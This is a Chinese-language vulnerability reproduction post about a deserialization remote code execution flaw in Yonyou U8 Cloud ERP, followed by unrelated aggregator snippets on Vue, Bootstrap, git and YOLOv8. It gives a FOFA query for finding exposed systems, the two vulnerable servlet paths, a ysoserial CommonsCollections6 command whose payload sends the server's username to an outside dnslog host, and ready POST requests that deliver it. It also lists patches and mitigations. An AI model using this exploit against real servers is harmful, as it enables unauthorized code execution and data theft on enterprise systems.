用友U8 Cloud 反序列化RCE漏洞复现

news2024/11/24 17:42:42

0x01 产品简介

     用友U8 Cloud是用友推出的新一代云ERP,主要聚焦成长型、创新型企业,提供企业级云ERP整体解决方案。

0x02 漏洞概述

   用友U8 Cloud存在多处(FileManageServlet和LoginVideoServlet)反序列化漏洞,系统未将用户传入的序列化数据进行过滤就直接执行反序列化操作,结合系统本身存在的反序列化利用链,最终造成远程代码执行。

0x03 影响范围

    用友U8 Cloud 所有版本

0x04 复现环境

FOFA:app="用友-U8-Cloud"

382252d9fc41453b9a7fa23584a3a67f.png

0x05 漏洞复现

两处接口的反序列化漏洞路径:

/servlet/~uap/nc.impl.pub.filesystem.FileManageServlet
/servlet/~uap/nc.bs.sm.login2.LoginVideoServlet

PS:用友的反序列化漏洞大部分cc6就可以直接打,post请求传入反序列化的二进制数据 就可以进行命令执行,ysoserial工具集成了多种cc链,感兴趣的可以研究研究

工具地址:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6

构造序列化数据(jdk1.8)

java -jar ysoserial-all.jar CommonsCollections6 "ping `whoami`.l4z6nq7x.dnslog.pw" >4.ser

 PoC

176d64f380e941cbb0e8b7de24f4eb8d.png 3afa1c9bfaeb45a3a8cb99ba91f922eb.png

POST /servlet/~uap/nc.impl.pub.filesystem.FileManageServlet HTTP/1.1
Host: your-ip
Content-Type: *

{{file(C:\Users\m1813\Desktop\4.ser)}}
POST /servlet/~uap/nc.bs.sm.login2.LoginVideoServlet HTTP/1.1
Host: your-ip
Content-Type: *

{{file(C:\Users\m1813\Desktop\4.ser)}}

PS:里面生成序列化数据文件的路径自行修改 

14efce9e7ce84a86a7e062786f63d4fd.png

0c40514c2bcd40749a8a985dda1a4186.png

e823be4103cb49f89a223e88ad6eda97.png

两个路径都可以打,自行测试 

0x06 修复建议

官方修复方案
用友安全中心已发布官方补丁:
https://security.yonyou.com/#/noticeInfo?id=400
https://security.yonyou.com/#/noticeInfo?id=399


临时修复方案:
使用ACL网络策略限制访问来源;
使用防护类设备对/servlet/~uap/nc.impl.pub.filesystem.FileManageServlet和/servlet/~uap/nc.bs.sm.login2.LoginVideoServlet路径进行防护。

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1183241.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vue组件的存放目录问题

注意: .vue文件 本质无区别 1.组件分类 .vue文件分为2类,都是 .vue文件(本质无区别) 页面组件 (配置路由规则时使用的组件) 复用组件(多个组件中都使用到的组件) 2.存放目录 分…

bootstrap3简单玩法

Bootstrap v3 Bootstrap v3 是一个流行的前端框架,它提供了一系列的模板、组件和工具,可以帮助开发者快速地构建响应式的网站和应用程序。 以下是 Bootstrap v3 的一些常见应用: 响应式布局:Bootstrap v3 提供了一个易于使用的网…

Failed to connect to github.com port 443:connection timed out

解决办法: 步骤1: 在这里插入图片描述 步骤2: -步骤3 :在git终端中执行如下命令: git config --global http.proxy http:ip:port git config --global https.proxy http:ip:port git config --global http.proxy htt…

合肥工业大学数字逻辑实验三

** 数字逻辑 实验报告** ✅作者简介:CSDN内容合伙人、信息安全专业在校大学生🏆 🔥系列专栏 :hfut实验课设 📃新人博主 :欢迎点赞收藏关注,会回访! 💬舞台再大,你不上台,永远是个观众。平台再好,你不参与,永远是局外人。能力再大,你不行动,只能看别人成功!…

ModuleNotFoundError: No module named ‘torchvision.models.utils‘

如图报错:No module named torchvision.models.utils解决方案:由于当前python环境高版本的torch, 代码用的是低版本的语法 将 from torchvision.models.utils import load_state_dict_from_url换成 from torch.hub import load_state_dict_fr…

合肥中科深谷嵌入式项目实战——基于ARM语音识别的智能家居系统(一)

基于ARM语音识别的智能家居系统 我们接下来带大家完成基于语音识别的智能家居系统嵌入式项目实战,使用到stm32开发板,讯飞的离线语音识别,我们在此之前,我们先学习一些Linux系统的基本操作。 。 一、Linux简介 在嵌入式开发中&am…

Python---upper()--转大写///与lower() --转小写

upper():把字符串全部转换为 大写形式 lower():把字符串全部转换为 小写形式 upper 英 /ˈʌpə(r)/ adj. 上面的,上层的,较高的;顶部的,上部的;(在机构、体系等中&#xff…

YOLOv8-Pose推理详解及部署实现

目录 前言一、YOLOv8-Pose推理(Python)1. YOLOv8-Pose预测2. YOLOv8-Pose预处理3. YOLOv8-Pose后处理4. YOLOv8-Pose推理 二、YOLOv8-Pose推理(C)1. ONNX导出2. YOLOv8-Pose预处理3. YOLOv8-Pose后处理4. YOLOv8-Pose推理 三、YOLOv8-Pose部署1. 源码下载2. 环境配置2.1 配置CM…

【C++干货铺】初识模板

个人主页点击直达:小白不是程序媛 C系列专栏:C干货铺 代码仓库:Gitee 目录 泛型编程 函数模板 函数模板格式 函数模板原理 函数模板实例化 模板参数的匹配原则 类模板 定义格式 类模板的实例化 泛型编程 什么是泛型? …

wsl和windows下编译C++以及函数重载和函数模板的问题记录

wslUbuntuvscodec 每次打开wsl,进入ubuntu中新建文件夹进行c编程的时候经常报错,显示配置文件有问题,但是每次按照vscode官方文件配置的话是没有问题的。百思不得其解。 今晚发现了问题所在。每次新建工作区的时候会自动生成.vscode文件夹&…

Keil Debug——error: #18: expected a “)“

目录 一、问题现象二、问题原因三、解决方案四、总结 一、问题现象 二、问题原因 这个错误是编译器在编译代码时发现的一种常见错误。导致这个报错的原因很多: 常见的自己一般可解决的: 它意味着在代码中某个位置缺少一个右括号 (“)”),导致…

Unity 判断两个UI是否相交

今天碰到要判断两个UI是否相交的交互。 尝试了下,发现有两个方法都成功了。 1、使用Collider2D组件 分别创建两个Image组件,并且添加Collider2D组件,其中一个还要添加Rigidbody2D组件,如下图: 然后创建个判断脚本“…

【SVN】

SVN 1 svn使用1.1 主干合并到分支1.2 分支合并到主干1.3 分支建立1.4 创建分支1.5 切换分支1.6 合并分支1.7 删除分支 2 概念理解 1 svn使用 1.1 主干合并到分支 首先,在本地trunk中先update一下,有冲突的解决冲突,保证trunk和repository已…

力扣每日一题 -- 2919. 使数组变美的最小增量运算数

//这题本质还是一个背包问题 //怎么去思考这个问题呢 //我最开始的思想是根据经验来看,最小增量运算数,并且使数组变美丽,那么就有点像编辑距离的问题 //但是我看了下时间复杂度,不能是n^2,那么再去仔细思…

番外---10.0 shell编程+调试

######### Step0:理解Shell script(shell变量作用域,定义,引用); Step1:掌握判断式用法(test, [ ], &&, ||,;,|) 2:正则表达式…

如何测试360手机浏览器的 --360手机浏览器测试范围概述

一、基本测试 冒烟测试 由开发,测试,产品共同参与进行。 (1) 主流程和基本功能测试(要求产品参与,如果不参与,一定要说明原因。测试确认此过程完成) a) 将本次提测的核心功能过一…

【Linux】程序地址空间回顾

我们的地址空间划分成如下几个区域: 代码区,字符常量区,已初始化全局变量区,未已初始化全局数据区,堆区,栈区;其中有代码区至栈区的代码地址依次增大。 局部变量是具有临时性的局部变量&#x…

springboot项目中手动提交事务

springboot项目中手动提交事务 演示主要代码场景/需求/实际效果解决办法 :在mi方法中手动提交事务Spring的7中事务传播行为 演示主要代码 Service 层代码 import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.an…

GPT-4 Turbo:OpenAI发布旗舰版GPT-4模型,更便宜|更强大|128K上下文|支持多模态

一、介绍 OpenAI 在 2023 年 11 月 7 日举行首届开发者大会,此次展会的亮点无疑是 GPT-4 Turbo 的亮相,它是 OpenAI 著名的 GPT-4 模型的升级版。 GPT-4 Turbo 有两种变体:一种用于文本分析,另一种能够理解文本和图像。 GPT-4 Tu…

Java 设计模式——解释器模式

目录 1.概述2.结构3.案例实现3.1.抽象表达式类3.2.终结表达式3.3.非终结表达式3.4.环境类3.5.测试 4.优缺点5.使用场景 1.概述 (1)如下图,设计一个软件用来进行加减计算。我们第一想法可能就是使用工具类,提供对应的加法和减法的…